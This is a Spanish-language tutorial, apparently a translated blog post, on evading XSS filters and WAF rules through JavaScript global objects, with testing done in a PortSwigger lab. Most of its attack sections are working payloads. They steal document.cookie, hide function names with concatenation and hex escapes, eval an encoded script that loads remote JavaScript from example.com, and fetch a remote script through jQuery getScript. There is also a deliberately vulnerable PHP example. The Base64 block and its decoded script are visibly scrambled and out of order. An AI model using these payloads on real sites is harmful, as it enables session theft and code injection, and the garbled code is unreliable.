Entonces, su objetivo parece ser vulnerable a XSS, pero todos sus intentos de explotarlo están bloqueados por filtros, validación de entrada o reglas WAF ... exploremos cómo omitirlos usando la variable global de JavaScript.
En este artículo, estamos aquí para descubrir cuántas posibilidades tenemos para explotar un XSS reflejado (o incluso almacenado) cuando hay filtros o firewalls entre nosotros y el sitio web de destino. Uno de los métodos más eficientes es usar una variable global como self, document, this, top o window.
Voy a probar todas las cargas útiles en esta publicación en el laboratorio de PortSwigger Web Security Academy, pero puede probarlas utilizando la consola de JavaScript de su navegador.

Tabla de contenido

  • Antes de empezar
  • Concatenación y secuencias de escape hexagonales.
  • Cadenas codificadas Eval y Base64
  • jQuery
  • Iteración y Object.keys
  • Conclusión

Antes de empezar

¿Qué es una variable global de JavaScript?
Una variable global de JavaScript se declara fuera de la función o se declara con un objeto de ventana. Se puede acceder desde cualquier función. https://www.javatpoint.com/javascript-global-variable
Supongamos que su aplicación web de destino es vulnerable a un XSS reflejado en una cadena de JavaScript o en una función de JavaScript (puede encontrar un laboratorio de XSS impresionante en PortSwigger Web Security Accademy, voy a usar este laboratorio para algunas pruebas).
Por ejemplo, pensemos en algo como el script PHP a continuación:
echo "<script>
var message = 'Hello ".$_GET["name"]."';
alert(message);
</script>";
Como puede ver, el parámetro name es vulnerable. Pero en este ejemplo, digamos que la aplicación web tiene un filtro que evita el uso de la cadena "document.cookie" en cualquier entrada de usuario que use una expresión regular como /document[^\.]*.[^\.]*cookie/. Echemos un vistazo a las siguientes cargas útiles:
payloaddescriptionaction
document.cookiestandardblock
document%20.%20cookieadd encoded space charblock
document/*foo*/./*bar*/cookieadd commentsblock
En este caso, la variable global de JavaScript podría usarse para evitarla. Tenemos muchas formas de acceder al document.cookie desde window o self object. Por ejemplo, algo como window["document"]["cookie"] no será bloqueado:
payloaddescriptionaction
window["document"]["cookie"]global variablepass
window["alert"](window["document"]["cookie"]);call alert() from windowpass
self[/*foo*/"alert"](self[document"/*bar*/]["cookie"]);add commentspass
Como puede ver en el ejemplo anterior, incluso puede acceder a cualquier función de JavaScript con una sintaxis como self["alert"]("foo"); eso es igual a alert("foo");. Este tipo de sintaxis le ofrece muchas maneras de evitar muchos filtros débiles. Obviamente, puedes usar comentarios en casi todas partes como:
(/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("yo")

Acerca del objeto "self"


la propiedad Window.self de solo lectura devuelve la ventana misma, como WindowProxy. Se puede usar con notación de puntos en un objeto de ventana (es decir, window.self) o independiente (self). La ventaja de la notación independiente es que existe una notación similar para contextos sin ventana, como en Trabajadores web. Al usar self, puede referirse al ámbito global de una manera que no solo funcionará en un contexto de ventana (self se resolverá en window.self) sino también en un contexto de trabajo (self se resolverá en WorkerGlobalScope.self). 
Puede llamar a cualquier función de JavaScript desde:
  • window
  • self
  • _self
  • this
  • top
  • parent
  • frames

1. Concatenación y secuencias de escape hexagonales.


Una de las técnicas más comunes para eludir las reglas WAF, es usar la concatenación de cadenas cuando sea posible. Esto es cierto para RCE, de una manera diferente incluso para SQLi pero también para JavaScript.
Hay muchos WAF que utilizan filtros basados en una lista de nombres de funciones de JavaScript. Muchos de esos filtros bloquean las solicitudes que contienen cadenas como alert () o String.fromCharCode (). Gracias a las variables globales, se pueden omitir fácilmente utilizando concatenación de cadenas o secuencias de escape hexadecimales. Por ejemplo:
/*
** alert(document.cookie);
*/
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
Una sintaxis más compleja para eludir filtros es reemplazar la cadena con secuencias de escape hexadecimales. Cualquier carácter con un código de carácter inferior a 256 se puede escapar utilizando su representación hexadecimal, con la secuencia de escape \ x:
> console.log("\x68\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21")
< hello, world!
Obviamente, al reemplazar las cadenas de "alerta", "documento" y "cookie" con su representación hexadecimal, es posible llamar a cualquier función en una de las variables globales que hemos visto antes:
/*
** alert(document.cookie)
*/
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)

2. Cadenas codificadas Eval y Base64

Una de las cosas más difíciles de hacer si un WAF es filtrar nuestras entradas, es crear (y agregar) dinámicamente, un elemento de script que llame a un archivo JavaScript remoto (algo como <script src = "http://example.com/evil .js "...). Incluso con un filtro débil, es algo que no es tan fácil de hacer, porque hay muchos patrones "bien reconocibles" como <script, src =, http: // y así sucesivamente.
Base64 y eval () podrían ayudarnos, especialmente si podemos evitar enviar la cadena "eval" como entrada de un usuario. Echa un vistazo al siguiente ejemplo:
self["\x65\x76\x61\x6c"](
self["\x61\x74\x6f\x62"](
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\ oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
5kQ2hpbGQoc2NyaXB0KTs="
aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\ y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\ )
)
como se muestra antes, estoy usando la representación hexadecimal de "eval" self ["\ x65 \ x76 \ x61 \ x6c"] y "atob" para decodificar una cadena Base64 ["\ x61 \ x74 \ x6f \ x62"]. Dentro de la cadena Base64, está el siguiente script:
// select head tag
var head = document.getElementsByTagName('head').item(0);
// create an empty <script> element
// set the script element type attribute
var script = document.createElement('script');
// set the script element src attribute
script.setAttribute('type', 'text/javascript');
head.appendChild(script);
script.setAttribute('src','http://example.com/my.js');
// append it to the head element

3. jQuery

Como se mencionó a lo largo de este artículo, JavaScript le brinda muchas maneras de evitar los filtros, esta frase es aún más cierta en los sitios web modernos que utilizan bibliotecas como jQuery. Supongamos que no puedes usar self ["eval"] y su representación hexadecimal, puedes pedirle a jQuery que lo haga por ti usando, por ejemplo, self ["$"] ["globalEval"]:
payloadaction
self["$"]["globalEval"]("alert(1)");pass
self["\x24"]
["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"]
("\x61\x6c\x65\x72\x74\x28\x31\x29");
pass
Incluso puede agregar fácilmente un script local o remoto con self ["$"] ["getScript"] (url). getScript carga un archivo JavaScript desde el servidor mediante una solicitud GET HTTP y luego lo ejecuta. El script se ejecuta en el contexto global, por lo que puede hacer referencia a otras variables y usar las funciones de jQuery.
payloadaction
self["$"]["getScript"]("https://example.com/my.js");pass

4. Iteración y Object.keys


El método Object.keys () devuelve una matriz de los nombres de propiedad propios de un objeto dado, en el mismo orden en que obtenemos con un bucle normal.
Eso significa que podemos acceder a cualquier función de JavaScript utilizando su número de índice en lugar del nombre de la función. Por ejemplo, abra la consola web de su navegador y escriba:
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
Esto le da el número de índice de la función de "alerta" dentro del objeto propio. El número es diferente en cada navegador y en cada documento abierto (en mi ejemplo es 5) pero puede hacer que pueda llamar a cualquier función sin usar su nombre. Por ejemplo:
> Object.keys(self)[5]
< "alert"
> self[Object.keys(self)[5]]("foo") // alert("foo")
Para iterar todas las funciones dentro del self, puede recorrer el selfobject y verificar si el elemento es una función que usa typeof elm === "function"
f=""
for(i in self) {
if(typeof self[i] === "function") {
f += i+", " } };
console.log(f)
iteración de todas las funciones dentro de uno mismo
Como se mencionó anteriormente, este número puede cambiar en diferentes navegadores y documentos, por lo tanto, ¿cómo podemos encontrar el número de índice de "alerta" si no se permite la cadena de "alerta" y no se puede usar ninguno de los métodos anteriores? JavaScript te da muchas posibilidades de hacerlo. Una cosa que podemos hacer es asignar a una variable (a) una función que se repita y encuentre el número de índice de alerta. Luego, podemos usar test () para encontrar "alerta" con una expresión regular como ^ a [rel] + t $:
a = function() {
c=0; // index counter
for(i in self) {
if(/^a[rel]+t$/.test(i)) {
return c; } c++; } }
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
// in one line // then you can use a() with Object.keys
self[Object.keys(self)[a()]]("foo")
// alert("foo")

Conclusión

Sanitization y Validationson dos términos a menudo confundidos no solo por desarrolladores principiantes. La validación significa verificar que los datos que se envían se ajustan a una regla o conjunto de reglas que un desarrollador establece para un campo de entrada particular. Obviamente, una buena validación de la entrada del usuario es algo esencial que debe hacer su aplicación web. Cuando no es posible, un servidor de seguridad de aplicaciones web puede ser una buena alternativa.

Si te ha gustado este post, por favor comparte y sígue al autor!